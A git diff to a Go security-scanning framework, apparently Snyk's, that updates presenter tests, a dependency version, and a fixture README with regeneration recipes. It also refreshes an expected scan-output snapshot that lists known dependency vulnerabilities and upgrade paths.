diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 41af1c575..44ca513f9 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -216,7 +216,7 @@ That's it! ### UFM test fixtures -The presenter tests in `internal/presenters/` compare rendered output against expected files stored under `internal/presenters/testdata/ufm/`. There are several workflows for keeping these up to date. +The presenter tests in `internal/presenters/` compare rendered output against expected files stored under `internal/presenters/testdata/ufm/`. See [internal/presenters/testdata/ufm/README.md](internal/presenters/testdata/ufm/README.md) for the per-fixture catalog (source, scan command, test wiring). There are several workflows for keeping these up to date. #### Generating a fixture (recommended) diff --git a/cmd/ufm-fixture-tool/main.go b/cmd/ufm-fixture-tool/main.go index c50c5a388..82e554b06 100644 --- a/cmd/ufm-fixture-tool/main.go +++ b/cmd/ufm-fixture-tool/main.go @@ -6,7 +6,8 @@ // // # Step 1 — dump workflow data to disk via built-in env vars: // SNYK_TMP_PATH=./dump INTERNAL_IN_MEMORY_THRESHOLD_BYTES=1 INTERNAL_CLEANUP_GLOBAL_TEMP_DIR_ENABLED=false \ -// snyk secrets test . --report --org=my-org +// INTERNAL_SNYK_CLI_USE_UNIFIED_TEST_API_FOR_OS_CLI_TEST=true \ +// snyk test . --org=my-org // // # Step 2 — redact the dump into a fixture: // go run ./cmd/ufm-fixture-tool --input=./dump/workflow.TestResult.12345 --output=my_fixture.testresult.json diff --git a/go.mod b/go.mod index bec1e7512..16d24a925 100644 --- a/go.mod +++ b/go.mod @@ -25,7 +25,7 @@ require ( require ( github.com/cenkalti/backoff/v5 v5.0.2 - github.com/go-git/go-git/v5 v5.19.0 + github.com/go-git/go-git/v5 v5.19.1 github.com/gofrs/flock v0.12.1 github.com/manifoldco/promptui v0.9.0 github.com/mattn/go-isatty v0.0.20 diff --git a/go.sum b/go.sum index 12b718e54..441fbad4d 100644 --- a/go.sum +++ b/go.sum @@ -75,8 +75,8 @@ github.com/go-git/go-billy/v5 v5.9.0 h1:jItGXszUDRtR/AlferWPTMN4j38BQ88XnXKbilmm github.com/go-git/go-billy/v5 v5.9.0/go.mod h1:jCnQMLj9eUgGU7+ludSTYoZL/GGmii14RxKFj7ROgHw= github.com/go-git/go-git-fixtures/v4 v4.3.2-0.20231010084843-55a94097c399 h1:eMje31YglSBqCdIqdhKBW8lokaMrL3uTkpGYlE2OOT4= github.com/go-git/go-git-fixtures/v4 v4.3.2-0.20231010084843-55a94097c399/go.mod h1:1OCfN199q1Jm3HZlxleg+Dw/mwps2Wbk9frAWm+4FII= -github.com/go-git/go-git/v5 v5.19.0 h1:+WkVUQZSy/F1Gb13udrMKjIM2PrzsNfDKFSfo5tkMtc= -github.com/go-git/go-git/v5 v5.19.0/go.mod h1:Pb1v0c7/g8aGQJwx9Us09W85yGoyvSwuhEGMH7zjDKQ= +github.com/go-git/go-git/v5 v5.19.1 h1:nX27AnaU43/K5bKktKwgBmR9lawoYVe1Ckg0rgzzN00= +github.com/go-git/go-git/v5 v5.19.1/go.mod h1:Pb1v0c7/g8aGQJwx9Us09W85yGoyvSwuhEGMH7zjDKQ= github.com/go-openapi/jsonpointer v0.21.1 h1:whnzv/pNXtK2FbX/W9yJfRmE2gsmkfahjMKB0fZvcic= github.com/go-openapi/jsonpointer v0.21.1/go.mod h1:50I1STOfbY1ycR8jGz8DaMeLCdXiI6aDteEdRNNzpdk= github.com/go-openapi/swag v0.23.1 h1:lpsStH0n2ittzTnbaSloVZLuB5+fvSY/+hnagBjSNZU= diff --git a/internal/presenters/presenter_ufm_test.go b/internal/presenters/presenter_ufm_test.go index 3b80ae1c4..024639611 100644 --- a/internal/presenters/presenter_ufm_test.go +++ b/internal/presenters/presenter_ufm_test.go @@ -436,16 +436,26 @@ func normalizeFixes(t *testing.T, expectedSarif, actualSarif map[string]interfac return } - // Build a map of expected fixes by ruleId for quick lookup - expectedFixesByRuleID := buildExpectedFixesMap(expectedRuns) + // Multi-project SARIF reuses ruleIds across runs; scope fixes per run. + expectedFixesByRunRule := buildExpectedFixesMap(expectedRuns) // Process actual runs and filter fixes - filterActualFixesByExpected(t, actualRuns, expectedFixesByRuleID) + filterActualFixesByExpected(t, actualRuns, expectedFixesByRunRule) } -// buildExpectedFixesMap builds a map of expected fixes by ruleId for quick lookup. +func runFixesKey(run map[string]interface{}, ruleID string) string { + runID := "" + if automationDetails, ok := run["automationDetails"].(map[string]interface{}); ok { + if id, ok := automationDetails["id"].(string); ok { + runID = id + } + } + return runID + "|" + ruleID +} + +// buildExpectedFixesMap builds a map of expected fixes keyed by run automation id + ruleId. func buildExpectedFixesMap(expectedRuns []interface{}) map[string][]interface{} { - expectedFixesByRuleID := make(map[string][]interface{}) + expectedFixesByRunRule := make(map[string][]interface{}) for _, runInterface := range expectedRuns { run, ok := runInterface.(map[string]interface{}) if !ok { @@ -466,15 +476,15 @@ func buildExpectedFixesMap(expectedRuns []interface{}) map[string][]interface{} } fixes, ok := result["fixes"].([]interface{}) if ok && len(fixes) > 0 { - expectedFixesByRuleID[ruleID] = fixes + expectedFixesByRunRule[runFixesKey(run, ruleID)] = fixes } } } - return expectedFixesByRuleID + return expectedFixesByRunRule } // filterActualFixesByExpected filters actual runs' fixes to only include those present in expected. -func filterActualFixesByExpected(t *testing.T, actualRuns []interface{}, expectedFixesByRuleID map[string][]interface{}) { +func filterActualFixesByExpected(t *testing.T, actualRuns []interface{}, expectedFixesByRunRule map[string][]interface{}) { t.Helper() for _, runInterface := range actualRuns { @@ -486,12 +496,12 @@ func filterActualFixesByExpected(t *testing.T, actualRuns []interface{}, expecte if !ok { continue } - processResultFixes(t, results, expectedFixesByRuleID) + processResultFixes(t, run, results, expectedFixesByRunRule) } } // processResultFixes processes each result's fixes and filters them based on expected fixes. -func processResultFixes(t *testing.T, results []interface{}, expectedFixesByRuleID map[string][]interface{}) { +func processResultFixes(t *testing.T, run map[string]interface{}, results []interface{}, expectedFixesByRunRule map[string][]interface{}) { t.Helper() for _, resultInterface := range results { @@ -508,7 +518,7 @@ func processResultFixes(t *testing.T, results []interface{}, expectedFixesByRule continue } - expectedFixes, hasExpectedFixes := expectedFixesByRuleID[ruleID] + expectedFixes, hasExpectedFixes := expectedFixesByRunRule[runFixesKey(run, ruleID)] if !hasExpectedFixes { // No expected fixes for this rule, remove all fixes from actual delete(result, "fixes") @@ -635,6 +645,18 @@ func Test_UfmPresenter_Sarif(t *testing.T) { testResultPath: "testdata/ufm/webgoat.ignore.testresult.json", ignoreSuppressions: false, }, + { + name: "snyk_goof", + expectedSarifPath: "testdata/ufm/snyk_goof.sarif.json", + testResultPath: "testdata/ufm/snyk_goof.testresult.json", + ignoreSuppressions: true, + }, + { + name: "python_pip_app_jarvis2", + expectedSarifPath: "testdata/ufm/python_pip_app_jarvis2.sarif.json", + testResultPath: "testdata/ufm/python_pip_app_jarvis2.testresult.json", + ignoreSuppressions: true, + }, { name: "multiproject", expectedSarifPath: "testdata/ufm/multi_project.sarif.json", @@ -1249,6 +1271,13 @@ func Test_UfmPresenter_HumanReadable(t *testing.T) { includeIgnores: true, severityThreshold: "medium", }, + { + name: "python_pip_app_jarvis2", + expectedPath: "testdata/ufm/python_pip_app_jarvis2.human.readable", + testResultPath: "testdata/ufm/python_pip_app_jarvis2.testresult.json", + includeIgnores: false, + severityThreshold: "", + }, { name: "secrets", expectedPath: "testdata/ufm/secrets.human.readable", @@ -1277,6 +1306,13 @@ func Test_UfmPresenter_HumanReadable(t *testing.T) { includeIgnores: true, severityThreshold: "", }, + { + name: "reachability", + expectedPath: "testdata/ufm/reachability.human.readable", + testResultPath: "testdata/ufm/reachability.testresult.json", + includeIgnores: false, + severityThreshold: "", + }, } for _, tc := range testCases { diff --git a/internal/presenters/testdata/ufm/README.md b/internal/presenters/testdata/ufm/README.md new file mode 100644 index 000000000..059ce8282 --- /dev/null +++ b/internal/presenters/testdata/ufm/README.md @@ -0,0 +1,189 @@ +# UFM presenter test fixtures + +Snapshot inputs and expected outputs for `Test_UfmPresenter_*` in [`presenter_ufm_test.go`](../../presenter_ufm_test.go). + +Workflow overview: [CONTRIBUTING.md](../../../../CONTRIBUTING.md#ufm-test-fixtures). + +## Fixture catalog + +| Basename | Type | SARIF | Human | HTML | Metadata (`*.testresult.json`) | Test config | Regeneration | +|----------|------|:-----:|:-----:|:----:|--------------------------------|-------------|--------------| +| `testresult_cli` | live | ✓ (`original_cli.sarif`) | ✓ (`cli.human.readable`) | ✓ | `project-name: snyk`, `display-target-file: package-lock.json` | SARIF: `ignoreSuppressions=true`; human: defaults | see [commit pins](#commit-pins) | +| `webgoat` | live | ✓ (`webgoat.sarif.json`) | — | — | `project-name: org.owasp.webgoat:webgoat`, `display-target-file: pom.xml` | SARIF: `ignoreSuppressions=true` | see [commit pins](#commit-pins) | +| `webgoat.ignore` | live | ✓ (`webgoat.ignore.sarif.json`) | ✓ (`webgoat.ignore.human.readable`) | — | same project as `webgoat`; policy includes ignores | SARIF: `ignoreSuppressions=false`; human: `includeIgnores=true`, `severityThreshold=medium` | same input as `webgoat` (copy dump; do not re-scan) | +| `snyk_goof` | live | ✓ (`snyk_goof.sarif.json`) | — | — | `project-name: goof`, `display-target-file: package-lock.json` | SARIF: `ignoreSuppressions=true` | see [commit pins](#commit-pins) | +| `python_pip_app_jarvis2` | live | ✓ (`python_pip_app_jarvis2.sarif.json`) | ✓ (`python_pip_app_jarvis2.human.readable`) | — | `project-name: python-pip-app-jarvis2`, `display-target-file: requirements.txt` | SARIF: `ignoreSuppressions=true`; human: defaults | see [commit pins](#commit-pins); Python venv required | +| `multi_project` | live | ✓ (`multi_project.sarif.json`) | ✓ (`multi_project.human.readable`) | — | 4 sub-projects (cli, webgoat, snyk-goof, jarvis2) | SARIF: `ignoreSuppressions=true`; human: defaults | see [multi-project tree](#multi-project-tree) | +| `secrets` | synthetic | ✓ | ✓ | — | placeholder `testId`, no `metadata.project-name` | SARIF: `ignoreSuppressions=true`; human: `includeIgnores=true` | hand-maintained; do not regenerate via live scan | +| `secrets.0findings` | synthetic | ✓ | — | — | placeholder `testId`, zero findings | SARIF: `ignoreSuppressions=true` | hand-maintained | +| `secrets.duplicated-sarif-rules` | synthetic | ✓ | ✓ | — | placeholder `testId`; multiple findings share SARIF rule IDs | SARIF: `ignoreSuppressions=true`; human: `includeIgnores=true` | hand-maintained | +| `secrets.with-report` | synthetic | ✓ | ✓ | — | placeholder `testId`; includes report URL in output | SARIF: `ignoreSuppressions=true`; human: `includeIgnores=true` | hand-maintained synthetic — do not regenerate; models `--report` URL (see `REPORT=1` in `generate-fixture.sh` for live `secrets` dumps only) | +| `reachability` | synthetic | — | ✓ (`reachability.human.readable`) | — | placeholder `testId`; SCA findings with `ReachabilityEvidence` | human: defaults | hand-maintained — unified OSS `snyk test` dumps no longer emit reachability; preserves `ufm.human.tmpl` reachability branch coverage | + +### Commit pins + +Live fixtures are generated from these repositories at pinned SHAs (last regenerated 2026-06-26): + +| Repository | Pin (commit SHA) | +|------------|------------------| +| [snyk/cli](https://github.com/snyk/cli) | `fa3dbff60b64e54306c854b043039c67be00596f` | +| [WebGoat/WebGoat](https://github.com/WebGoat/WebGoat) | `acbe4efa5c434d5a53f6a60f3cfe3dc9e880ec6d` | +| [snyk-fixtures/snyk-goof](https://github.com/snyk-fixtures/snyk-goof) | `9d39c56df741e9e723061d925d7425869cfa3455` | +| [snyk-fixtures/python-pip-app-jarvis2](https://github.com/snyk-fixtures/python-pip-app-jarvis2) | `8037e6f18165b727ea8bd4bec7a2cf18b725944b` | + +### Multi-project sub-projects + +From `multi_project.testresult.json` (live dump of `--all-projects` over the [multi-project tree](#multi-project-tree)): + +| `project-name` | `display-target-file` | `target-directory` | +|----------------|----------------------|--------------------| +| `snyk` | `package.json` | `multi-project` | +| `org.owasp.webgoat:webgoat` | `webgoat/pom.xml` | `multi-project` | +| `goof` | `snyk-goof/package-lock.json` | `multi-project` | +| `python-pip-app-jarvis2` | `python-pip-app-jarvis2/requirements.txt` | `multi-project` | + +### Multi-project tree + +Layout used for `multi_project` regeneration (not committed; build locally before scanning): + +```text +multi-project/ + package.json # copied from snyk/cli root (pinned SHA) + package-lock.json # copied from snyk/cli root (pinned SHA) + webgoat/ # symlink → WebGoat checkout at pinned SHA + snyk-goof/ # symlink → snyk-fixtures/snyk-goof at pinned SHA + python-pip-app-jarvis2/ # symlink → python-pip-app-jarvis2 at pinned SHA (+ venv for scan) +``` + +Do **not** symlink the full `snyk/cli` monorepo into the tree — `--all-projects` would pick up every nested manifest in the CLI repo. + +### Synthetic vs live + +- **Live:** produced via `make generate-fixture` from a real `snyk test` (or `secrets test`) scan, then redacted with `ufm-fixture-tool`. +- **Synthetic:** hand-edited `*.testresult.json` for deterministic edge cases (secrets variants, zero findings, duplicated SARIF rules, reachability). Placeholder `testId` `11111111-2222-3333-4444-555555555555` is intentional. Live OSS regen via unified Test API no longer includes reachability evidence — use `reachability.testresult.json` for golden coverage of that presenter branch. + +## Regenerating fixtures + +### Prerequisites + +- `snyk auth` and org access +- CLI build with the GAF in-memory threshold fix (CLI-1509) +- For Maven/Java projects (WebGoat): `JAVA_HOME` must point at a JDK; warm the wrapper first (`./mvnw --version`) or `snyk test` can hang on `maven-wrapper --version` +- For `python-pip-app-jarvis2`: Python 3.10 venv with `requirements.txt` packages installed (legacy pins may need fallback versions for packages that no longer build) +- For OSS `snyk test`, `make generate-fixture` sets `INTERNAL_SNYK_CLI_USE_UNIFIED_TEST_API_FOR_OS_CLI_TEST=true` so the unified Test API path emits `workflow.TestResult` dumps (org FF not required) + +Set once per session (adjust paths): + +```bash +export SNYK_BIN=/path/to/snyk # e.g. snyk/cli binary-releases build +export ORG=my-org-slug # e.g. platform_hammerhead_testing +export JAVA_HOME=/path/to/jdk # WebGoat only; optional otherwise +``` + +### Live fixture recipes + +Run from the **go-application-framework** repo root. Outputs land in `dumps/.testresult.json`. + +| `NAME=` | `PROJECT` (example) | `SCAN_CMD` | Copy dump to | +|---------|---------------------|------------|--------------| +| `testresult_cli` | `` | `test .` | `testresult_cli.json` | +| `webgoat` | `` | `test .` | `webgoat.testresult.json` | +| `webgoat_ignore` | *(same scan as `webgoat`)* | — | `webgoat.ignore.testresult.json` | +| `snyk_goof` | `` | `test .` | `snyk_goof.testresult.json` | +| `python_pip_app_jarvis2` | `` (venv active) | `test .` | `python_pip_app_jarvis2.testresult.json` | +| `multi_project` | `` | `test --all-projects` | `multi_project.testresult.json` | + +`webgoat.ignore` uses the **same** redacted dump as `webgoat` (copy the file; do not re-scan). Expected SARIF/human output differs via test config (`ignoreSuppressions`, `includeIgnores`), not a second scan. + +**`testresult_cli`** + +```bash +make generate-fixture \ + PROJECT=/path/to/snyk/cli \ + ORG="$ORG" \ + NAME=testresult_cli \ + SNYK_BIN="$SNYK_BIN" \ + SCAN_CMD="test ." +cp dumps/testresult_cli.testresult.json internal/presenters/testdata/ufm/testresult_cli.json +``` + +Verify: `metadata.project-name` is `snyk`, `display-target-file` is `package-lock.json`. + +**`webgoat` (+ `webgoat.ignore` input)** + +```bash +make generate-fixture \ + PROJECT=/path/to/WebGoat \ + ORG="$ORG" \ + NAME=webgoat \ + SNYK_BIN="$SNYK_BIN" \ + SCAN_CMD="test ." +cp dumps/webgoat.testresult.json internal/presenters/testdata/ufm/webgoat.testresult.json +cp dumps/webgoat.testresult.json internal/presenters/testdata/ufm/webgoat.ignore.testresult.json +``` + +Verify: `metadata.project-name` is `org.owasp.webgoat:webgoat` (not `snyk`). Finding count drifts with the vuln DB — check project name, not count. + +**`multi_project`** + +Build the [multi-project tree](#multi-project-tree) with all four repos at their pinned SHAs, then: + +```bash +make generate-fixture \ + PROJECT=/path/to/multi-project \ + ORG="$ORG" \ + NAME=multi_project \ + SNYK_BIN="$SNYK_BIN" \ + SCAN_CMD="test --all-projects" +cp dumps/multi_project.testresult.json internal/presenters/testdata/ufm/multi_project.testresult.json +``` + +`generate-fixture.sh` merges all `workflow.TestResult.*` dumps from the scan and normalizes `metadata.target-directory` to `multi-project`. + +**Scoped expected-output regen** (preferred over `make regenerate-expected`, which rewrites every SARIF snapshot): + +```bash +UFM_REGEN=1 go test ./internal/presenters/... -run 'Test_UfmPresenter_Sarif/cli$' -count=1 +UFM_REGEN=1 go test ./internal/presenters/... -run 'Test_UfmPresenter_HumanReadable/cli$' -count=1 +UFM_REGEN=1 go test ./internal/presenters/... -run 'Test_UfmPresenter_HTML/cli$' -count=1 +UFM_REGEN=1 go test ./internal/presenters/... -run 'Test_UfmPresenter_Sarif/webgoat$' -count=1 +UFM_REGEN=1 go test ./internal/presenters/... -run 'Test_UfmPresenter_Sarif/webgoat_with_suppression$' -count=1 +UFM_REGEN=1 go test ./internal/presenters/... -run 'Test_UfmPresenter_HumanReadable/webgoat$' -count=1 +UFM_REGEN=1 go test ./internal/presenters/... -run 'Test_UfmPresenter_Sarif/snyk_goof$' -count=1 +UFM_REGEN=1 go test ./internal/presenters/... -run 'Test_UfmPresenter_Sarif/python_pip_app_jarvis2$' -count=1 +UFM_REGEN=1 go test ./internal/presenters/... -run 'Test_UfmPresenter_HumanReadable/python_pip_app_jarvis2$' -count=1 +UFM_REGEN=1 go test ./internal/presenters/... -run 'Test_UfmPresenter_Sarif/multiproject$' -count=1 +UFM_REGEN=1 go test ./internal/presenters/... -run 'Test_UfmPresenter_HumanReadable/multi_project$' -count=1 +go test ./internal/presenters/... -run 'Test_UfmPresenter' -count=1 +``` + +Quick verify after dump: + +```bash +python3 -c "import json; d=json.load(open('dumps/webgoat.testresult.json'))[0]; print(d['metadata']['project-name'])" +python3 -c "import json; d=json.load(open('dumps/multi_project.testresult.json')); print(len(d), [x['metadata']['project-name'] for x in d])" +``` + +### Generic `make generate-fixture` + +```bash +make generate-fixture \ + PROJECT=/path/to/scanned-repo \ + ORG="$ORG" \ + NAME=fixture_basename \ + SNYK_BIN="$SNYK_BIN" \ + SCAN_CMD="test ." # or "secrets test .", etc. +# optional: REPORT=1 for commands that support --report +``` + +Copy `dumps/.testresult.json` into this directory. Add or update test rows in `presenter_ufm_test.go` only when introducing a **new** fixture. + +### Expected snapshots only + +When presenter templates change but inputs are unchanged, regen only the affected test cases with scoped `UFM_REGEN` (see above). Full regen: + +```bash +make regenerate-expected +``` + +Equivalent to `UFM_REGEN=1 go test ./internal/presenters/... -run 'Test_UfmPresenter' -count=1`. Review diffs before committing. diff --git a/internal/presenters/testdata/ufm/cli.human.readable b/internal/presenters/testdata/ufm/cli.human.readable index ca6fabb82..ad094efb4 100644 --- a/internal/presenters/testdata/ufm/cli.human.readable +++ b/internal/presenters/testdata/ufm/cli.human.readable @@ -1,91 +1,70 @@ -Testing (package.json) ... +Testing (package-lock.json) ... -Tested 552 dependencies for known issues, found 9 issues, 111 vulnerable paths. +Tested 462 dependencies for known issues, found 8 issues, 107 vulnerable paths. -Open Security issues: 9 +Open Security issues: 8 - ✗ [LOW] Regular Expression Denial of Service (ReDoS) - Finding ID: SNYK-JS-BRACEEXPANSION-9789073 - Info: https://snyk.io/vuln/SNYK-JS-BRACEEXPANSION-9789073 - Introduced by: brace-expansion - Introduced through: snyk@1.0.0-monorepo > glob@7.2.3 > minimatch@3.1.2 > brace-expansion@1.1.11 - Reachability: No Path Found - - ✗ [MEDIUM] Arbitrary Code Injection - Finding ID: SNYK-JS-COOKIE-13271683 - Info: https://snyk.io/vuln/SNYK-JS-COOKIE-13271683 - Introduced by: cookie - Introduced through: snyk@1.0.0-monorepo > @sentry/node@7.34.0 > cookie@0.4.2 - Reachability: No Path Found + ✗ [MEDIUM] Cross-site Scripting (XSS) + Finding ID: SNYK-JS-COLORNAME-17614999 + Info: https://snyk.io/vuln/SNYK-JS-COLORNAME-17614999 + Introduced by: color-name + Introduced through: snyk@1.0.0-monorepo > chalk@2.4.2 > ansi-styles@3.2.1 > color-convert@1.9.3 > color-name@1.1.3 ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) Finding ID: SNYK-JS-DEBUG-13283909 Info: https://snyk.io/vuln/SNYK-JS-DEBUG-13283909 Introduced by: debug - Introduced through: snyk@1.0.0-monorepo > debug@4.3.4 - Reachability: No Path Found + Introduced through: snyk@1.0.0-monorepo > snyk-docker-plugin@9.11.0 > debug@4.4.3 ✗ [MEDIUM] Alternate solution to CWE-1333 | Inefficient Regular Expression Complexity Finding ID: SNYK-JS-DEBUG-14214893 Info: https://snyk.io/vuln/SNYK-JS-DEBUG-14214893 Introduced by: debug Introduced through: snyk@1.0.0-monorepo > debug@4.3.4 - Reachability: No Path Found ✗ [MEDIUM] Open Redirect Finding ID: SNYK-JS-GOT-2932019 Info: https://snyk.io/vuln/SNYK-JS-GOT-2932019 Introduced by: got - Introduced through: snyk@1.0.0-monorepo > snyk-nodejs-lockfile-parser@2.3.1 > @yarnpkg/core@4.4.1 > got@11.8.2 - Reachability: No Path Found + Introduced through: snyk@1.0.0-monorepo > snyk-nodejs-lockfile-parser@2.8.1 > @yarnpkg/core@4.5.0 > got@11.8.2 ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) Finding ID: SNYK-JS-MARKED-2342073 Info: https://snyk.io/vuln/SNYK-JS-MARKED-2342073 Introduced by: marked Introduced through: snyk@1.0.0-monorepo > marked@4.0.1 - Reachability: Reachable ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) Finding ID: SNYK-JS-MARKED-2342082 Info: https://snyk.io/vuln/SNYK-JS-MARKED-2342082 Introduced by: marked Introduced through: snyk@1.0.0-monorepo > marked@4.0.1 - Reachability: Reachable ✗ [HIGH] Directory Traversal Finding ID: SNYK-JS-ASYNC-12239908 Info: https://snyk.io/vuln/SNYK-JS-ASYNC-12239908 Introduced by: async - Introduced through: snyk@1.0.0-monorepo > snyk-config@5.2.0 > async@3.2.4 - Reachability: No Path Found + Introduced through: snyk@1.0.0-monorepo > snyk-config@5.2.0 > async@3.2.6 ✗ [HIGH] Denial of Service (DoS) Finding ID: SNYK-JS-LODASH-12239302 Info: https://snyk.io/vuln/SNYK-JS-LODASH-12239302 Introduced by: lodash - Introduced through: snyk@1.0.0-monorepo > snyk-nodejs-plugin@1.4.4 > lodash@4.17.21 - Reachability: No Path Found + Introduced through: snyk@1.0.0-monorepo > snyk-docker-plugin@9.11.0 > snyk-poetry-lockfile-parser@1.9.1 > lodash@4.18.1 Issues to fix by upgrading: - Upgrade @sentry/node@7.34.0 to @sentry/node@7.94.1 to fix - ✗ Arbitrary Code Injection [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-COOKIE-13271683] in cookie@0.4.2 - introduced by snyk@1.0.0-monorepo > @sentry/node@7.34.0 > cookie@0.4.2 - ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-DEBUG-13283909] in debug@4.3.4 - introduced by snyk@1.0.0-monorepo > debug@4.3.4 and 40 other paths - ✗ Alternate solution to CWE-1333 | Inefficient Regular Expression Complexity [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-DEBUG-14214893] in debug@4.3.4 - introduced by snyk@1.0.0-monorepo > debug@4.3.4 and 40 other paths - Upgrade @snyk/fix@1.0.0-monorepo to @snyk/fix@1.471.0 to fix - ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-DEBUG-13283909] in debug@4.3.4 - introduced by snyk@1.0.0-monorepo > debug@4.3.4 and 40 other paths + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-COLORNAME-17614999] in color-name@1.1.3 + introduced by snyk@1.0.0-monorepo > chalk@2.4.2 > ansi-styles@3.2.1 > color-convert@1.9.3 > color-name@1.1.3 and 15 other paths + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-DEBUG-13283909] in debug@4.4.3 + introduced by snyk@1.0.0-monorepo > snyk-docker-plugin@9.11.0 > debug@4.4.3 and 36 other paths ✗ Alternate solution to CWE-1333 | Inefficient Regular Expression Complexity [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-DEBUG-14214893] in debug@4.3.4 - introduced by snyk@1.0.0-monorepo > debug@4.3.4 and 40 other paths + introduced by snyk@1.0.0-monorepo > debug@4.3.4 and 36 other paths - Upgrade glob@7.2.3 to glob@9.0.0 to fix - ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-9789073] in brace-expansion@1.1.11 - introduced by snyk@1.0.0-monorepo > glob@7.2.3 > minimatch@3.1.2 > brace-expansion@1.1.11 and 7 other paths + Upgrade chalk@2.4.2 to chalk@5.0.0 to fix + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-COLORNAME-17614999] in color-name@1.1.3 + introduced by snyk@1.0.0-monorepo > chalk@2.4.2 > ansi-styles@3.2.1 > color-convert@1.9.3 > color-name@1.1.3 and 15 other paths Upgrade marked@4.0.1 to marked@4.0.10 to fix ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342073] in marked@4.0.1 @@ -93,36 +72,38 @@ Tested 552 dependencies for known issues, found 9 issues, 111 vulnerable paths. ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342082] in marked@4.0.1 introduced by snyk@1.0.0-monorepo > marked@4.0.1 - Upgrade rimraf@2.7.1 to rimraf@4.3.1 to fix - ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-9789073] in brace-expansion@1.1.11 - introduced by snyk@1.0.0-monorepo > glob@7.2.3 > minimatch@3.1.2 > brace-expansion@1.1.11 and 7 other paths + Upgrade ora@5.4.0 to ora@6.1.0 to fix + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-COLORNAME-17614999] in color-name@1.1.3 + introduced by snyk@1.0.0-monorepo > chalk@2.4.2 > ansi-styles@3.2.1 > color-convert@1.9.3 > color-name@1.1.3 and 15 other paths - Upgrade snyk-go-plugin@1.23.0 to snyk-go-plugin@1.24.0 to fix - ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-9789073] in brace-expansion@1.1.11 - introduced by snyk@1.0.0-monorepo > glob@7.2.3 > minimatch@3.1.2 > brace-expansion@1.1.11 and 7 other paths - - Upgrade snyk-resolve-deps@4.8.0 to snyk-resolve-deps@4.9.1 to fix - ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-DEBUG-13283909] in debug@4.3.4 - introduced by snyk@1.0.0-monorepo > debug@4.3.4 and 40 other paths - ✗ Alternate solution to CWE-1333 | Inefficient Regular Expression Complexity [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-DEBUG-14214893] in debug@4.3.4 - introduced by snyk@1.0.0-monorepo > debug@4.3.4 and 40 other paths + Upgrade wrap-ansi@5.1.0 to wrap-ansi@8.0.0 to fix + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-COLORNAME-17614999] in color-name@1.1.3 + introduced by snyk@1.0.0-monorepo > chalk@2.4.2 > ansi-styles@3.2.1 > color-convert@1.9.3 > color-name@1.1.3 and 15 other paths Issues with no direct upgrade or patch: - ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-9789073] in brace-expansion@1.1.11 - introduced by snyk@1.0.0-monorepo > glob@7.2.3 > minimatch@3.1.2 > brace-expansion@1.1.11 and 7 other paths - This issue was fixed in: 1.1.12, 2.0.2, 3.0.1, 4.0.1 + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-DEBUG-13283909] in debug@4.4.3 + introduced by snyk@1.0.0-monorepo > snyk-docker-plugin@9.11.0 > debug@4.4.3 and 36 other paths + ✗ Alternate solution to CWE-1333 | Inefficient Regular Expression Complexity [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-DEBUG-14214893] in debug@4.3.4 + introduced by snyk@1.0.0-monorepo > debug@4.3.4 and 36 other paths + ✗ Open Redirect [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-GOT-2932019] in got@11.8.2 + introduced by snyk@1.0.0-monorepo > snyk-nodejs-lockfile-parser@2.8.1 > @yarnpkg/core@4.5.0 > got@11.8.2 and 2 other paths + This issue was fixed in: 11.8.5, 12.1.0 + ✗ Directory Traversal [HIGH] [https://security.snyk.io/vuln/SNYK-JS-ASYNC-12239908] in async@3.2.6 + introduced by snyk@1.0.0-monorepo > snyk-config@5.2.0 > async@3.2.6 and 3 other paths + ✗ Denial of Service (DoS) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-LODASH-12239302] in lodash@4.18.1 + introduced by snyk@1.0.0-monorepo > snyk-docker-plugin@9.11.0 > snyk-poetry-lockfile-parser@1.9.1 > lodash@4.18.1 and 7 other paths ╭─────────────────────────────────────────────────────────╮ │ Test Summary │ │ │ │ Organization: My Org │ │ Test type: Software Composition Analysis │ -│ Project path: test-project │ -│ Target file: package.json │ +│ Project path: . │ +│ Target file: package-lock.json │ │ │ -│ Total security issues: 9 │ +│ Total security issues: 8 │ │ Ignored: 0 [ 0 CRITICAL  0 HIGH  0 MEDIUM  0 LOW ] │ -│ Open : 9 [ 0 CRITICAL  2 HIGH  6 MEDIUM  1 LOW ] │ +│ Open : 8 [ 0 CRITICAL  2 HIGH  6 MEDIUM  0 LOW ] │ ╰─────────────────────────────────────────────────────────╯ diff --git 